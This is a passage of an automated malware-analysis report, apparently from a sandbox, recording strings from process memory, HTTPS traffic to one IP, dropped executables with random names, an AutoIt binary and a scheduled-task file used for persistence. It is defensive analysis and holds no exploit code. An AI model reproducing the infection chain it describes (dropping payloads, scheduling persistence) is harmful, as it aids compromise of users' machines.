Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2950843311.000002297EB70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.2788251826.000002297E85D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2788613349.000002297E87B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2963511722.0000022980488000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2787902142.000002297E83E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2787522205.000002297E820000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: file.exe, 00000000.00000003.1715294203.0000000005DEB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715347269.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715425421.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600618224.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600448064.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600347557.000000000591B000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774760977.000000000566D000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774335661.000000000567F000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774528447.000000000566D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1762031949.0000000005DC5000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2631561373.0000000000CA8000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2905467211.000002297A3AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B952000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000003.1715294203.0000000005DEB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715347269.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715425421.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600618224.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600448064.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600347557.000000000591B000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774760977.000000000566D000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774335661.000000000567F000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774528447.000000000566D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/mozIGeckoMediaPluginChromeService
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2950843311.000002297EB70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.2788251826.000002297E85D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2788613349.000002297E87B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2963511722.0000022980488000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2787902142.000002297E83E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2787522205.000002297E820000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/searchdefaultPreventedByContentget
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 0000001B.00000002.2911892808.000002297B99F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2883527671.0000009407104000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2896578190.000000FFE7F3B000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: 3e1d30d118.exe, 0000000C.00000003.2839373883.000000000597B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: 3e1d30d118.exe, 0000000C.00000003.2839373883.000000000597B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000003.1748703561.00000000060C8000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2630638421.00000000059FC000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2839373883.000000000597B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 3e1d30d118.exe, 0000000C.00000003.2839373883.000000000597B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000001B.00000002.2965275696.000002298061B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 0000001B.00000002.2965275696.000002298061B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/resource:///modules/UrlbarPrefs.sys.mjsintervention-refresh-prof
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 0000001B.00000002.2905467211.000002297A355000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001B.00000002.2905467211.000002297A355000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/J
Source: file.exe, 00000000.00000003.1748703561.00000000060C8000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2630638421.00000000059FC000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2839373883.000000000597B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 0000001B.00000002.2896578190.000000FFE7F3B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 0000001B.00000002.2886744113.000000FFE0FBB000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2909626556.000002297ADAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2906389932.000002297A4E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/plugins-widevine-descriptionhttps://www.widevine.com/stageLangpacksForAppUp
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B952000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001B.00000002.2908621079.000002297AC06000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2908621079.000002297AC2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 0000001B.00000002.2959641340.000002297F75B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001B.00000002.2971838030.0000022980F33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000001B.00000002.2965275696.000002298061B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account
Source: firefox.exe, 0000001B.00000002.2959641340.000002297F75B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000019.00000002.2769539724.000001E01DC57000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784381792.0000022387E5A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2899285684.000002296E899000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000001B.00000002.2901105924.0000022970451000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 0000001B.00000002.2899285684.000002296E899000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdS
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdTake
Source: firefox.exe, 0000001B.00000002.2965275696.000002298061B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/accountrecordSyncedTabsTelemetrytoolkit/branding/accounts.ftl.panel-header
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comFirefoxViewNotificationManager
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comLOAD_FLAGS_FORCE_ALLOW_COOKIES

Source: unknown	Network traffic detected: HTTP traffic on port 57896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57806
Source: unknown	Network traffic detected: HTTP traffic on port 57770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57891
Source: unknown	Network traffic detected: HTTP traffic on port 57834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 57899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57899
Source: unknown	Network traffic detected: HTTP traffic on port 57806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57909
Source: unknown	Network traffic detected: HTTP traffic on port 57800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57907
Source: unknown	Network traffic detected: HTTP traffic on port 57817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57902
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57873
Source: unknown	Network traffic detected: HTTP traffic on port 57891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57911
Source: unknown	Network traffic detected: HTTP traffic on port 57778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57880
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57873 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57902 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57911 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: a8c7d2631f.exe, 0000000D.00000000.2729895172.00000000000F2000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_b2bfe950-6
Source: a8c7d2631f.exe, 0000000D.00000000.2729895172.00000000000F2000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_01578983-6

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: 910S1Q63XQ87I6P4.exe.0.dr	Static PE information: section name:
Source: 910S1Q63XQ87I6P4.exe.0.dr	Static PE information: section name: .idata
Source: SP29EZJLUAF4OXVNPKLP.exe.0.dr	Static PE information: section name:
Source: SP29EZJLUAF4OXVNPKLP.exe.0.dr	Static PE information: section name: .idata
Source: SP29EZJLUAF4OXVNPKLP.exe.0.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: .idata
Source: skotes.exe.3.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name: .idata
Source: 3e1d30d118.exe.8.dr	Static PE information: section name:
Source: 3e1d30d118.exe.8.dr	Static PE information: section name: .idata
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.8.dr	Static PE information: section name: .idata
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: c077ee22d1.exe.8.dr	Static PE information: section name:
Source: c077ee22d1.exe.8.dr	Static PE information: section name: .rsrc
Source: c077ee22d1.exe.8.dr	Static PE information: section name: .idata
Source: c077ee22d1.exe.8.dr	Static PE information: section name:
Source: 6QPF41LR0H1R83WBFIVMMOQHW.exe.10.dr	Static PE information: section name:
Source: 6QPF41LR0H1R83WBFIVMMOQHW.exe.10.dr	Static PE information: section name: .idata
Source: J3F2AVPL447NSFJEKUT1.exe.10.dr	Static PE information: section name:
Source: J3F2AVPL447NSFJEKUT1.exe.10.dr	Static PE information: section name: .idata
Source: J3F2AVPL447NSFJEKUT1.exe.10.dr	Static PE information: section name:

PE file has a writeable .text section

Source: num[1].exe.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00A9E530	8_2_00A9E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00AD78BB	8_2_00AD78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00AD8860	8_2_00AD8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00AD7049	8_2_00AD7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00AD31A8	8_2_00AD31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00A94DE0	8_2_00A94DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00AD2D10	8_2_00AD2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00AD779B	8_2_00AD779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00A94B30	8_2_00A94B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00AC7F36	8_2_00AC7F36
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Code function: 10_3_00C8EE5B	10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Code function: 10_3_00C8EE5B	10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Code function: 10_3_00C8EE5B	10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Code function: 10_3_00C8EE5B	10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Code function: 10_3_00C8EE5B	10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Code function: 10_3_00C8EE5B	10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Code function: 10_3_00C8EE5B	10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Code function: 10_3_00C8EE5B	10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Code function: 10_3_00C8EE5B	10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Code function: 10_3_00C8EE5B	10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Code function: 10_3_00C8EE5B	10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Code function: 10_3_00C8EE5B	10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Code function: 10_3_00C8EE5B	10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Code function: 10_3_00C8EE5B	10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Code function: 10_3_00C8EE5B	10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Code function: 10_3_00C8EE5B	10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Code function: 10_3_00C8EE5B	10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Code function: 10_3_00C8EE5B	10_3_00C8EE5B
